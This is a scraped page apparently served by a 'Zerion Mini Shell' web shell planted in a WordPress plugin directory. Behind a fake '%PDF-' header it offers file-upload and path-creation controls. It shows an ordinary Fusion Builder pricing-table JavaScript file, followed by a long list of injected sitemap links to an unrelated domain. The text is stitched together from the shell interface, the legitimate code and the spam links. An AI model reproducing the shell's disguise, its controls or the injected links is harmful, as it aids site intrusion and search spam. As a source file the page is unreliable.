%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/wp-content/plugins/fusion-builder/shortcodes/js/
Upload File :
Create Path :
Current File : /dom645759/wp-content/plugins/fusion-builder/shortcodes/js/fusion-pricing-table.js

/* global FusionPageBuilderApp */
( function( $ ) {

	$( document ).ready( function() {

		// Pricing table. Build pricing table shortcode.
		FusionPageBuilderApp.pricingTableShortcodeFilter = function( attributes, view ) {

			var shortcode     = '',
				columnCounter = 0,
				table         = view.$( '.fusion-builder-table' ),
				existingAtts  = [],
				columnRegExp  = /\[fusion_pricing_column([^\]]*)\]/g,
				match;

			// Collect the attributes of the existing columns, so the params which are
			// only editable in the column dialogs survive a spreadsheet save.
			while ( null !== ( match = columnRegExp.exec( attributes.params.element_content || '' ) ) ) {
				existingAtts.push( match[ 1 ] );
			}

			function setAtt( atts, name, value ) {
				var attRegExp = new RegExp( ' ' + name + '="[^"]*"' );

				value = ' ' + name + '="' + value + '"';

				return attRegExp.test( atts ) ? atts.replace( attRegExp, value ) : atts + value;
			}

			// Table head
			table.find( 'thead th' ).each( function() {
				var $thisTh       = $( this ),
					thCID         = $thisTh.data( 'th-id' ),
					thTitle       = $thisTh.find( '.title-input' ).val() || '',
					thSubTitle    = $thisTh.find( '.sub-title-input' ).val() || '',
					thDescription = $thisTh.find( '.description-input' ).val() || '',
					thStandout    = $thisTh.find( '.button-set-value' ).val(),
					thBadge       = $thisTh.find( '.badge-input' ).val() || '',
					thAbove       = table.find( 'tbody .price .td-' + thCID + ' .above-input' ).val() || '',
					thBelow       = table.find( 'tbody .price .td-' + thCID + ' .below-input' ).val() || '',
					columnAtts    = 'undefined' !== typeof existingAtts[ columnCounter ] ? existingAtts[ columnCounter ] : '';

				columnCounter++;

				columnAtts = setAtt( columnAtts, 'title', thTitle );
				columnAtts = setAtt( columnAtts, 'sub_heading', thSubTitle );
				columnAtts = setAtt( columnAtts, 'description', thDescription );
				columnAtts = setAtt( columnAtts, 'badge_text', thBadge );
				columnAtts = setAtt( columnAtts, 'price_above', thAbove );
				columnAtts = setAtt( columnAtts, 'price_below', thBelow );
				columnAtts = setAtt( columnAtts, 'standout', thStandout );

				shortcode += '[fusion_pricing_column' + columnAtts + ']';

				// Table price
				table.find( 'tbody .price .td-' + thCID ).each( function() {
					var $thisPrice       = $( this ),
						price            = $thisPrice.find( '.price-input' ).val(),
						currency         = $thisPrice.find( '.currency-input' ).val(),
						currencyPosition = $thisPrice.find( '.currency-position' ).val(),
						time             = $thisPrice.find( '.time-input' ).val();

					shortcode += '[fusion_pricing_price currency="' + currency + '" currency_position="' + currencyPosition + '" price="' + price + '" time="' + time + '" ][/fusion_pricing_price]';
				} );

				// Table rows
				table.find( '.fusion-table-row .td-' + thCID ).each( function() {
					var $thisRow = $( this ),
						content  = $thisRow.find( 'input' ).val();

					if ( '' !== content ) {
						shortcode += '[fusion_pricing_row]' + content + '[/fusion_pricing_row]';
					}
				} );

				// Table footer
				table.find( 'tfoot .td-' + thCID ).each( function() {
					var $thisFooter   = $( this ),
						footerContent = $thisFooter.find( 'textarea' ).val();

					if ( '' !== footerContent ) {
						shortcode += '[fusion_pricing_footer]' + footerContent + '[/fusion_pricing_footer]';
					}
				} );

				shortcode += '[/fusion_pricing_column]';

			} );

			attributes.params.element_content = shortcode;
			attributes.params.columns = columnCounter;

			return attributes;

		};

	} );

}( jQuery ) );

Zerion Mini Shell 1.0
https://louisvillegop.com/sitemap118.xml 2026-12-01 https://louisvillegop.com/sitemap629.xml 2026-12-01 https://louisvillegop.com/sitemap143.xml 2026-12-01 https://louisvillegop.com/sitemap811.xml 2026-12-01 https://louisvillegop.com/sitemap144.xml 2026-12-01 https://louisvillegop.com/sitemap610.xml 2026-12-01 https://louisvillegop.com/sitemap536.xml 2026-12-01 https://louisvillegop.com/sitemap208.xml 2026-12-01 https://louisvillegop.com/sitemap272.xml 2026-12-01 https://louisvillegop.com/sitemap355.xml 2026-12-01 https://louisvillegop.com/sitemap220.xml 2026-12-01 https://louisvillegop.com/sitemap360.xml 2026-12-01 https://louisvillegop.com/sitemap844.xml 2026-12-01 https://louisvillegop.com/sitemap189.xml 2026-12-01 https://louisvillegop.com/sitemap677.xml 2026-12-01 https://louisvillegop.com/sitemap402.xml 2026-12-01 https://louisvillegop.com/sitemap833.xml 2026-12-01 https://louisvillegop.com/sitemap714.xml 2026-12-01 https://louisvillegop.com/sitemap49.xml 2026-12-01 https://louisvillegop.com/sitemap409.xml 2026-12-01 https://louisvillegop.com/sitemap363.xml 2026-12-01 https://louisvillegop.com/sitemap233.xml 2026-12-01 https://louisvillegop.com/sitemap364.xml 2026-12-01 https://louisvillegop.com/sitemap511.xml 2026-12-01 https://louisvillegop.com/sitemap312.xml 2026-12-01 https://louisvillegop.com/sitemap188.xml 2026-12-01 https://louisvillegop.com/sitemap777.xml 2026-12-01 https://louisvillegop.com/sitemap726.xml 2026-12-01 https://louisvillegop.com/sitemap281.xml 2026-12-01 https://louisvillegop.com/sitemap436.xml 2026-12-01 https://louisvillegop.com/sitemap791.xml 2026-12-01 https://louisvillegop.com/sitemap566.xml 2026-12-01 https://louisvillegop.com/sitemap600.xml 2026-12-01 https://louisvillegop.com/sitemap40.xml 2026-12-01 https://louisvillegop.com/sitemap63.xml 2026-12-01 https://louisvillegop.com/sitemap94.xml 2026-12-01 https://louisvillegop.com/sitemap906.xml 2026-12-01 https://louisvillegop.com/sitemap955.xml 2026-12-01 https://louisvillegop.com/sitemap545.xml 2026-12-01 https://louisvillegop.com/sitemap850.xml 2026-12-01 https://louisvillegop.com/sitemap138.xml 2026-12-01 https://louisvillegop.com/sitemap109.xml 2026-12-01 https://louisvillegop.com/sitemap623.xml 2026-12-01 https://louisvillegop.com/sitemap756.xml 2026-12-01 https://louisvillegop.com/sitemap649.xml 2026-12-01 https://louisvillegop.com/sitemap589.xml 2026-12-01 https://louisvillegop.com/sitemap908.xml 2026-12-01 https://louisvillegop.com/sitemap346.xml 2026-12-01 https://louisvillegop.com/sitemap644.xml 2026-12-01 https://louisvillegop.com/sitemap354.xml 2026-12-01 https://louisvillegop.com/sitemap981.xml 2026-12-01 https://louisvillegop.com/sitemap656.xml 2026-12-01 https://louisvillegop.com/sitemap871.xml 2026-12-01 https://louisvillegop.com/sitemap520.xml 2026-12-01 https://louisvillegop.com/sitemap172.xml 2026-12-01 https://louisvillegop.com/sitemap752.xml 2026-12-01 https://louisvillegop.com/sitemap499.xml 2026-12-01 https://louisvillegop.com/sitemap641.xml 2026-12-01 https://louisvillegop.com/sitemap179.xml 2026-12-01 https://louisvillegop.com/sitemap423.xml 2026-12-01 https://louisvillegop.com/sitemap826.xml 2026-12-01 https://louisvillegop.com/sitemap872.xml 2026-12-01 https://louisvillegop.com/sitemap177.xml 2026-12-01 https://louisvillegop.com/sitemap953.xml 2026-12-01 https://louisvillegop.com/sitemap381.xml 2026-12-01 https://louisvillegop.com/sitemap574.xml 2026-12-01 https://louisvillegop.com/sitemap226.xml 2026-12-01 https://louisvillegop.com/sitemap128.xml 2026-12-01 https://louisvillegop.com/sitemap928.xml 2026-12-01 https://louisvillegop.com/sitemap380.xml 2026-12-01